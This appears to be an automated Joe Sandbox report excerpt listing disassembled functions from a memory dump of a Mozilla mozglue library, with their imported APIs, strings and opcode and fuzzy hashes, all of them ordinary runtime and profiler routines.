Associated: 00000000.00000002.2500129482.000000006C662000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_NJna3TEAEr.jbxd

Similarity

API ID: __aulldiv__stdio_common_vsprintf
String ID: -%llu$.$profiler-paused
API String ID: 680628322-2661126502
Opcode ID: 7aea4366d871f84014487f171c333300c650940c8d21267fc30d6522cc763ee1
Instruction ID: f064673dbb7e2cec8ba75cd041bebaca5c1ffd53141d23656812a78e2785d762
Opcode Fuzzy Hash: 7aea4366d871f84014487f171c333300c650940c8d21267fc30d6522cc763ee1
Instruction Fuzzy Hash: AE314B71F042085BCB0CCF6DD8812ADBBE6DB89314F55813DE8559B781E7B498048F99

Function 6C62B410 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 104stringCOMMON

Download Yara Rule

APIs

Part of subcall function 6C5D4290: strlen.API-MS-WIN-CRT-STRING-L1-1-0(6C613EBD,6C613EBD,00000000), ref: 6C5D42A9

tolower.API-MS-WIN-CRT-STRING-L1-1-0(00000000,?,?,?,?,?,?,?,?,?,?,?,?,6C62B127), ref: 6C62B463
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C62B4C9
strncmp.API-MS-WIN-CRT-STRING-L1-1-0(FFFFFFFF,pid:,00000004), ref: 6C62B4E4

Strings

pid:, xrefs: 6C62B4DE

Memory Dump Source

Source File: 00000000.00000002.2500019951.000000006C5D1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2499997792.000000006C5D0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2500082176.000000006C64D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2500106913.000000006C65E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2500129482.000000006C662000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_NJna3TEAEr.jbxd

Similarity

API ID: _getpidstrlenstrncmptolower
String ID: pid:
API String ID: 1720406129-3403741246
Opcode ID: 8acbdb9a9fab67beafe1afd2c392746a2b1cbce9390df78a1da7ec393bfa8de0
Instruction ID: 7172af6adf0d0f842047cd90374b44cd973535e12cbf9afcffa8e628cc2055ea
Opcode Fuzzy Hash: 8acbdb9a9fab67beafe1afd2c392746a2b1cbce9390df78a1da7ec393bfa8de0
Instruction Fuzzy Hash: 74310531A01208DBDB00DFA9D8C0AEEB7B5FF89318F940529D8126BA41D735A945CFE9

Function 6C61E550 Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 47threadCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 6C61E577
AcquireSRWLockExclusive.KERNEL32(6C65F4B8), ref: 6C61E584
ReleaseSRWLockExclusive.KERNEL32(6C65F4B8), ref: 6C61E5DE
?_Xbad_function_call@std@@YAXXZ.MSVCP140 ref: 6C61E8A6

Strings

MOZ_PROFILER_STARTUP_FILTERS, xrefs: 6C61E826, 6C61E850
MOZ_PROFILER_STARTUP_ENTRIES, xrefs: 6C61E655
MOZ_PROFILER_STARTUP, xrefs: 6C61E5A1, 6C61E5CC, 6C61E5FF, 6C61E62A
MOZ_PROFILER_STARTUP_FEATURES_BITFIELD, xrefs: 6C61E777
MOZ_PROFILER_STARTUP_INTERVAL, xrefs: 6C61E722, 6C61E750, 6C61E7A2

Memory Dump Source

Source File: 00000000.00000002.2500019951.000000006C5D1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2499997792.000000006C5D0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2500082176.000000006C64D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2500106913.000000006C65E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2500129482.000000006C662000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_NJna3TEAEr.jbxd

Similarity

API ID: ExclusiveLock$AcquireCurrentReleaseThreadXbad_function_call@std@@
String ID: MOZ_PROFILER_STARTUP$MOZ_PROFILER_STARTUP_ENTRIES$MOZ_PROFILER_STARTUP_FEATURES_BITFIELD$MOZ_PROFILER_STARTUP_FILTERS$MOZ_PROFILER_STARTUP_INTERVAL
API String ID: 1483687287-53385798
Opcode ID: 2829931b33c4763fa02bc8e1c5c816aad3069fa8af6cf07da490aa49390f1fcc
Instruction ID: de6f39b18fc37e564f74324d08876a8ea8a6db5cfe551ee54c3d25bd264bb4ac
Opcode Fuzzy Hash: 2829931b33c4763fa02bc8e1c5c816aad3069fa8af6cf07da490aa49390f1fcc
Instruction Fuzzy Hash: B7118E31604254DFCB00DF1AC488A6ABBF4FFC9328FA00619E88597A51C774A815CBDE

Function 6C620C90 Relevance: 6.3, APIs: 5, Instructions: 99stringCOMMON

Download Yara Rule

APIs

strlen.API-MS-WIN-CRT-STRING-L1-1-0 ref: 6C620CD5

Part of subcall function 6C60F960: ??1MutexImpl@detail@mozilla@@QAE@XZ.MOZGLUE ref: 6C60F9A7

strlen.API-MS-WIN-CRT-STRING-L1-1-0 ref: 6C620D40
free.MOZGLUE ref: 6C620DCB

Part of subcall function 6C5F5E90: EnterCriticalSection.KERNEL32(-0000000C), ref: 6C5F5EDB
Part of subcall function 6C5F5E90: memset.VCRUNTIME140(ewcl,000000E5,?), ref: 6C5F5F27
Part of subcall function 6C5F5E90: LeaveCriticalSection.KERNEL32(?), ref: 6C5F5FB2

free.MOZGLUE ref: 6C620DDD
free.MOZGLUE ref: 6C620DF2

Memory Dump Source

Source File: 00000000.00000002.2500019951.000000006C5D1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2499997792.000000006C5D0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2500082176.000000006C64D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2500106913.000000006C65E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2500129482.000000006C662000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_NJna3TEAEr.jbxd

Similarity

API ID: free$CriticalSectionstrlen$EnterImpl@detail@mozilla@@LeaveMutexmemset
String ID:
API String ID: 4069420150-0
Opcode ID: 7d038b936bd1e8d5bf3fc28efe4b88ecc6da77ee36301fe8173694e11811271c
Instruction ID: 36527e596418de067379f5ad8b037bd7d2d7b561d352890ca2ec37a0bf86e9a1
Opcode Fuzzy Hash: 7d038b936bd1e8d5bf3fc28efe4b88ecc6da77ee36301fe8173694e11811271c
Instruction Fuzzy Hash: 19413871A097849BD720CF29C08079AFBE5BFC9714F608A2EE8D887750DB749845CF86

Function 6C62CCF0 Relevance: 6.3, APIs: 4, Instructions: 299COMMON

Download Yara Rule

APIs

moz_xmalloc.MOZGLUE(000000E0,00000000,?,6C61DA31,00100000,?,?,00000000,?), ref: 6C62CDA4

Part of subcall function 6C5ECA10: malloc.MOZGLUE(?), ref: 6C5ECA26

Part of subcall function 6C62D130: InitializeConditionVariable.KERNEL32(00000010,00020000,00000000,00100000,?,6C62CDBA,00100000,?,00000000,?,6C61DA31,00100000,?,?,00000000,?), ref: 6C62D158
Part of subcall function 6C62D130: InitializeConditionVariable.KERNEL32(00000098,?,6C62CDBA,00100000,?,00000000,?,6C61DA31,00100000,?,?,00000000,?), ref: 6C62D177

?profiler_get_core_buffer@baseprofiler@mozilla@@YAAAVProfileChunkedBuffer@2@XZ.MOZGLUE(?,?,00000000,?,6C61DA31,00100000,?,?,00000000,?), ref: 6C62CDC4

Part of subcall function 6C627480: ReleaseSRWLockExclusive.KERNEL32(?,6C6315FC,?,?,?,?,6C6315FC,?), ref: 6C6274EB

moz_xmalloc.MOZGLUE(00000014,?,?,?,00000000,?,6C61DA31,00100000,?,?,00000000,?), ref: 6C62CECC

Part of subcall function 6C5ECA10: mozalloc_abort.MOZGLUE(?), ref: 6C5ECAA2

Part of subcall function 6C61CB30: floor.API-MS-WIN-CRT-MATH-L1-1-0(?,?,00000000,?,6C62CEEA,?,?,?,?,00000000,?,6C61DA31,00100000,?,?,00000000), ref: 6C61CB57
Part of subcall function 6C61CB30: _beginthreadex.API-MS-WIN-CRT-RUNTIME-L1-1-0(00000000,00000000,6C61CBE0,00000000,00000000,00000000,?,?,?,?,00000000,?,6C62CEEA,?,?), ref: 6C61CBAF

tolower.API-MS-WIN-CRT-STRING-L1-1-0(00000000,?,?,?,?,?,00000000,?,6C61DA31,00100000,?,?,00000000,?), ref: 6C62D058

Memory Dump Source

Source File: 00000000.00000002.2500019951.000000006C5D1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2499997792.000000006C5D0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2500082176.000000006C64D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2500106913.000000006C65E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2500129482.000000006C662000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_NJna3TEAEr.jbxd

Similarity

API ID: ConditionInitializeVariablemoz_xmalloc$?profiler_get_core_buffer@baseprofiler@mozilla@@Buffer@2@ChunkedExclusiveLockProfileRelease_beginthreadexfloormallocmozalloc_aborttolower
String ID:
API String ID: 861561044-0
Opcode ID: 90d0d2586928a368136a2525dcab0e5dbb68a76f2760bd365ef092df90374189
Instruction ID: f9bcd84799b1b0d32f958205256c2e87c9bf35607c4ff9904cb323c8c42a3919
Opcode Fuzzy Hash: 90d0d2586928a368136a2525dcab0e5dbb68a76f2760bd365ef092df90374189
Instruction Fuzzy Hash: 19D17E71A04B069FD718CF28C480B99F7E1BF89308F01862DD9598B752EB31E9A5CF85

Function 6C5F5C50 Relevance: 6.1, APIs: 4, Instructions: 145COMMON

Download Yara Rule

APIs

GetTickCount64.KERNEL32 ref: 6C5F5D40
EnterCriticalSection.KERNEL32(6C65F688), ref: 6C5F5D67
__aulldiv.LIBCMT ref: 6C5F5DB4
LeaveCriticalSection.KERNEL32(6C65F688), ref: 6C5F5DED

Memory Dump Source

Source File: 00000000.00000002.2500019951.000000006C5D1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2499997792.000000006C5D0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2500082176.000000006C64D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2500106913.000000006C65E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2500129482.000000006C662000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_NJna3TEAEr.jbxd

Similarity

API ID: CriticalSection$Count64EnterLeaveTick__aulldiv
String ID:
API String ID: 557828605-0
Opcode ID: 40f6e3f9009f6a7635f51a1eec795001d16a245488d5739f9ec82c61844e4736
Instruction ID: 245b042ebf6a569a0015b678e3554142ff2c49e54545d664a08d17abdec13cb2
Opcode Fuzzy Hash: 40f6e3f9009f6a7635f51a1eec795001d16a245488d5739f9ec82c61844e4736
Instruction Fuzzy Hash: 4F517171E011298FCF08CF69C894AAEBBF1FB85304FA98619D865A7790C7306946CF95

Function 6C5DCDF0 Relevance: 6.1, APIs: 3, Strings: 1, Instructions: 128COMMON

Download Yara Rule

APIs

memcpy.VCRUNTIME140(?,-000000EA,?,?,?,?,?,?,?,?,?,?,?), ref: 6C5DCEBD
memcpy.VCRUNTIME140(?,?,?,?,?,?,?), ref: 6C5DCEF5
memset.VCRUNTIME140(-000000E5,00000030,?,?,?,?,?,?,?,?), ref: 6C5DCF4E

Strings

0, xrefs: 6C5DCF30

Memory Dump Source

Source File: 00000000.00000002.2500019951.000000006C5D1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2499997792.000000006C5D0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2500082176.000000006C64D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2500106913.000000006C65E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2500129482.000000006C662000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_NJna3TEAEr.jbxd

Similarity

API ID: memcpy$memset
String ID: 0
API String ID: 438689982-4108050209
Opcode ID: a637aa3f79ef768b1d268be280890f17884ea3afa6abd6ed4665a7cd8a93e415
Instruction ID: 0263fa1c984a97ad87106895fc48083ad8730367ffd23f53a662d26fb962ff41
Opcode Fuzzy Hash: a637aa3f79ef768b1d268be280890f17884ea3afa6abd6ed4665a7cd8a93e415
Instruction Fuzzy Hash: B451F075A002168FCB05CF1CC890AAAFBA5EF99314F2A859DD8595F352D731BD06CBE0

Function 6C616470 Relevance: 6.1, APIs: 4, Instructions: 93COMMON

Download Yara Rule

APIs

moz_xmalloc.MOZGLUE(00000200,?,?,?,?,?,?,?,?,?,?,?,?,6C6182BC,?,?), ref: 6C61649B

Part of subcall function 6C5ECA10: malloc.MOZGLUE(?), ref: 6C5ECA26

memset.VCRUNTIME140(00000000,00000000,00000200,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C6164A9

Part of subcall function 6C60FA80: GetCurrentThreadId.KERNEL32 ref: 6C60FA8D
Part of subcall function 6C60FA80: AcquireSRWLockExclusive.KERNEL32(6C65F448), ref: 6C60FA99

ReleaseSRWLockExclusive.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C61653F
free.MOZGLUE(?), ref: 6C61655A

Memory Dump Source

Source File: 00000000.00000002.2500019951.000000006C5D1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2499997792.000000006C5D0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2500082176.000000006C64D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2500106913.000000006C65E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2500129482.000000006C662000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_NJna3TEAEr.jbxd

Similarity

API ID: ExclusiveLock$AcquireCurrentReleaseThreadfreemallocmemsetmoz_xmalloc
String ID:
API String ID: 3596744550-0
Opcode ID: 6fc04eeac29a803119d53376bcef8f460fdad4fdfe7e6d9ab106f0dd47cd250d
Instruction ID: 34fe19702800a5037d986a3df5fac8effbf544722d443d64bde5b0355948d2be
Opcode Fuzzy Hash: 6fc04eeac29a803119d53376bcef8f460fdad4fdfe7e6d9ab106f0dd47cd250d
Instruction Fuzzy Hash: 663181B5A083059FD704CF15D88069BBBE4FF89314F50842EE89A97740D734E919CB96

Function 6C5EB4E0 Relevance: 6.1, APIs: 4, Instructions: 54threadCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 6C5EB4F5
AcquireSRWLockExclusive.KERNEL32(6C65F4B8), ref: 6C5EB502
ReleaseSRWLockExclusive.KERNEL32(6C65F4B8), ref: 6C5EB542
free.MOZGLUE(?), ref: 6C5EB578

Memory Dump Source

Source File: 00000000.00000002.2500019951.000000006C5D1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2499997792.000000006C5D0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2500082176.000000006C64D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2500106913.000000006C65E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2500129482.000000006C662000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_NJna3TEAEr.jbxd

Similarity

API ID: ExclusiveLock$AcquireCurrentReleaseThreadfree
String ID:
API String ID: 2047719359-0
Opcode ID: 8277b4e43fe5573f84d65d95446105236f8bf11eb6ab75653450edb1a5e9abf6
Instruction ID: 4fbd0085afc91690fa882e5d7d57b9b669ea2aed48a7405ff4e18f1a887bea03
Opcode Fuzzy Hash: 8277b4e43fe5573f84d65d95446105236f8bf11eb6ab75653450edb1a5e9abf6
Instruction Fuzzy Hash: D711D230A04B41C7D712DF2AD940766B3B1FFDA319FA4970AD84953A02FBB0A5C5CB99

Function 6C613DE0 Relevance: 6.0, APIs: 4, Instructions: 49COMMON

Download Yara Rule

APIs

__acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,?,?,?,?,6C5DF20E,?), ref: 6C613DF5
fputs.API-MS-WIN-CRT-STDIO-L1-1-0(6C5DF20E,00000000,?), ref: 6C613DFC
__acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002), ref: 6C613E06
fputc.API-MS-WIN-CRT-STDIO-L1-1-0(0000000A,00000000), ref: 6C613E0E

Part of subcall function 6C60CC00: GetCurrentProcess.KERNEL32(?,?,6C5D31A7), ref: 6C60CC0D
Part of subcall function 6C60CC00: TerminateProcess.KERNEL32(00000000,00000003,?,?,6C5D31A7), ref: 6C60CC16

Memory Dump Source

Source File: 00000000.00000002.2500019951.000000006C5D1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2499997792.000000006C5D0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2500082176.000000006C64D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2500106913.000000006C65E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2500129482.000000006C662000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_NJna3TEAEr.jbxd

Similarity

API ID: Process__acrt_iob_func$CurrentTerminatefputcfputs
String ID:
API String ID: 2787204188-0
Opcode ID: b1d30f146d151a0d574c16c2a4f3babd6e0e82d0e848a4e23e587413f25232d6
Instruction ID: d4614f3921245b2ea771380a487839e8b322fb3ac75b2d1d133d677f14d83afc
Opcode Fuzzy Hash: b1d30f146d151a0d574c16c2a4f3babd6e0e82d0e848a4e23e587413f25232d6
Instruction Fuzzy Hash: 4AF082B16002087FD700AB55DC81DAB372DDB47624F544020FD0917700D636BE1986FF

Function 6C6285B0 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 133COMMON

Download Yara Rule

APIs

moz_xmalloc.MOZGLUE(00000028,?,?,?), ref: 6C6285D3

Part of subcall function 6C5ECA10: malloc.MOZGLUE(?), ref: 6C5ECA26

?_Xlength_error@std@@YAXPBD@Z.MSVCP140(map/set<T> too long,?,?,?), ref: 6C628725

Strings

map/set<T> too long, xrefs: 6C628720

Memory Dump Source

Source File: 00000000.00000002.2500019951.000000006C5D1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2499997792.000000006C5D0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2500082176.000000006C64D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2500106913.000000006C65E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2500129482.000000006C662000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_NJna3TEAEr.jbxd

Similarity

API ID: Xlength_error@std@@mallocmoz_xmalloc
String ID: map/set<T> too long
API String ID: 3720097785-1285458680
Opcode ID: 2d2d96748e38f6bfc3301927c34d4c3f681bf03392a0ac07c3edd6eeeb23bbde
Instruction ID: 385dfbe35afb8ca457665a853c17a9867f5ae68ab3bea352f90a1ea3c474da33
Opcode Fuzzy Hash: 2d2d96748e38f6bfc3301927c34d4c3f681bf03392a0ac07c3edd6eeeb23bbde
Instruction Fuzzy Hash: FC516775A00652CFD701CF18C884A99BBF1BF4A318F18C18AD8595BB62C339EC85CF96

Function 6C5DBD40 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 115COMMON

Download Yara Rule

APIs

?CreateDecimalRepresentation@DoubleToStringConverter@double_conversion@@ABEXPBDHHHPAVStringBuilder@2@@Z.MOZGLUE(00000000,?,?,?,?), ref: 6C5DBDEB
?HandleSpecialValues@DoubleToStringConverter@double_conversion@@ABE_NNPAVStringBuilder@2@@Z.MOZGLUE ref: 6C5DBE8F

Strings

0, xrefs: 6C5DBE5B

Memory Dump Source

Source File: 00000000.00000002.2500019951.000000006C5D1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2499997792.000000006C5D0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2500082176.000000006C64D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2500106913.000000006C65E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2500129482.000000006C662000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_NJna3TEAEr.jbxd

Similarity

API ID: String$Builder@2@@Converter@double_conversion@@Double$CreateDecimalHandleRepresentation@SpecialValues@
String ID: 0
API String ID: 2811501404-4108050209
Opcode ID: 0d9355782bb4f541450df70746ee4678a3d29c011590d9bbfc0c4a68f33055a0
Instruction ID: e4de7f61218caeb0ccdc6ffb853258837a6a7e02d905edce8f2e789acbd0ddad
Opcode Fuzzy Hash: 0d9355782bb4f541450df70746ee4678a3d29c011590d9bbfc0c4a68f33055a0
Instruction Fuzzy Hash: D041A171909745CFC701EF2CC881A9BB7F5EF8A348F018A1DF985A7611D730E9598B8A

Function 6C613CF0 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 55COMMON

Download Yara Rule

APIs

_errno.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C613D19
mozalloc_abort.MOZGLUE(?), ref: 6C613D6C

Strings

d, xrefs: 6C613D58

Memory Dump Source

Source File: 00000000.00000002.2500019951.000000006C5D1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2499997792.000000006C5D0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2500082176.000000006C64D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2500106913.000000006C65E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2500129482.000000006C662000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_NJna3TEAEr.jbxd

Similarity

API ID: _errnomozalloc_abort
String ID: d
API String ID: 3471241338-2564639436
Opcode ID: abfd05d4bf5618b5b7cf898aec3c9202ca551f38e433ae3a25e1fca12be29393
Instruction ID: d5107bb962fdea173de14bfea202fb48808b408f372d1b35633a1b8ca75a1ac8
Opcode Fuzzy Hash: abfd05d4bf5618b5b7cf898aec3c9202ca551f38e433ae3a25e1fca12be29393
Instruction Fuzzy Hash: C1110831E186889BDF04DF6EC8544EEB7B5EF86319F84C228DC4657A01EB309584C398

Function 6C636DE0 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 30COMMON

Download Yara Rule

APIs

getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_DISABLE_WALKTHESTACK), ref: 6C636E22
__Init_thread_footer.LIBCMT ref: 6C636E3F

Strings

MOZ_DISABLE_WALKTHESTACK, xrefs: 6C636E1D

Memory Dump Source

Source File: 00000000.00000002.2500019951.000000006C5D1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2499997792.000000006C5D0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2500082176.000000006C64D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2500106913.000000006C65E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2500129482.000000006C662000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_NJna3TEAEr.jbxd

Similarity

API ID: Init_thread_footergetenv
String ID: MOZ_DISABLE_WALKTHESTACK
API String ID: 1472356752-1153589363
Opcode ID: d1b66b9527cf06f7ac42b7df47a3ebd3c4d309c1a6fe92165c52bd8b6e6d01e8
Instruction ID: aa3dfe708f3a3aed403ea651568ae3c8515251a442ee31392e59eeb74b2c7ce2
Opcode Fuzzy Hash: d1b66b9527cf06f7ac42b7df47a3ebd3c4d309c1a6fe92165c52bd8b6e6d01e8
Instruction Fuzzy Hash: CCF0E975709240CBDB00CB6AC990A9977716713318FB42165C45947BE1DB21E51BCE9F

Function 6C5E9E70 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 27COMMON

Download Yara Rule

APIs

__Init_thread_footer.LIBCMT ref: 6C5E9EEF

Strings

NaN, xrefs: 6C5E9EC1
Infinity, xrefs: 6C5E9EB7

Memory Dump Source

Source File: 00000000.00000002.2500019951.000000006C5D1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2499997792.000000006C5D0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2500082176.000000006C64D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2500106913.000000006C65E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2500129482.000000006C662000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_NJna3TEAEr.jbxd

Similarity

API ID: Init_thread_footer
String ID: Infinity$NaN
API String ID: 1385522511-4285296124
Opcode ID: 934e78cdf99d39e5d3d5a7d56499b56923b3b618ecec8114884933d1bcd40bb5
Instruction ID: 1f16d4c6328c432ed3badc2b37ea6a24e7555b3e8a0e6728cb340cdf85c730c8
Opcode Fuzzy Hash: 934e78cdf99d39e5d3d5a7d56499b56923b3b618ecec8114884933d1bcd40bb5
Instruction Fuzzy Hash: 67F0A9B1600242CBDB00CF1AD9C5BA433F1A707309FB04B58C6440BB81D3756556CA8F

Function 6C5E6C30 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 26COMMON

Download Yara Rule

APIs

moz_xmalloc.MOZGLUE(0Kal,?,6C614B30,80000000,?,6C614AB7,?,6C5D43CF,?,6C5D42D2), ref: 6C5E6C42

Part of subcall function 6C5ECA10: malloc.MOZGLUE(?), ref: 6C5ECA26

moz_xmalloc.MOZGLUE(0Kal,?,6C614B30,80000000,?,6C614AB7,?,6C5D43CF,?,6C5D42D2), ref: 6C5E6C58

Strings

0Kal, xrefs: 6C5E6C33, 6C5E6C41, 6C5E6C57

Memory Dump Source

Source File: 00000000.00000002.2500019951.000000006C5D1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2499997792.000000006C5D0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2500082176.000000006C64D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2500106913.000000006C65E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2500129482.000000006C662000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_NJna3TEAEr.jbxd

Similarity

API ID: moz_xmalloc$malloc
String ID: 0Kal
API String ID: 1967447596-2504143369
Opcode ID: 26e400adbc4dd1962c0462c652a8f496a88607757228c19233f06711ec6135b5
Instruction ID: de8ed62cae307c3c79cbc35bc68e2f4e8e149b4e77ce163f98aedd3c9396100d
Opcode Fuzzy Hash: 26e400adbc4dd1962c0462c652a8f496a88607757228c19233f06711ec6135b5
Instruction Fuzzy Hash: 40E086F1A107094ADB08D9789C0956E75C8CB7C6E87044A35E93AC6BC8FF54E9508151

Function 6C5EBED0 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 15librarythreadCOMMON

Download Yara Rule

APIs

DisableThreadLibraryCalls.KERNEL32(?), ref: 6C5EBEE3
LoadLibraryExW.KERNEL32(cryptbase.dll,00000000,00000800), ref: 6C5EBEF5

Strings

cryptbase.dll, xrefs: 6C5EBEF0

Memory Dump Source

Source File: 00000000.00000002.2500019951.000000006C5D1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2499997792.000000006C5D0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2500082176.000000006C64D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2500106913.000000006C65E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2500129482.000000006C662000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_NJna3TEAEr.jbxd

Similarity

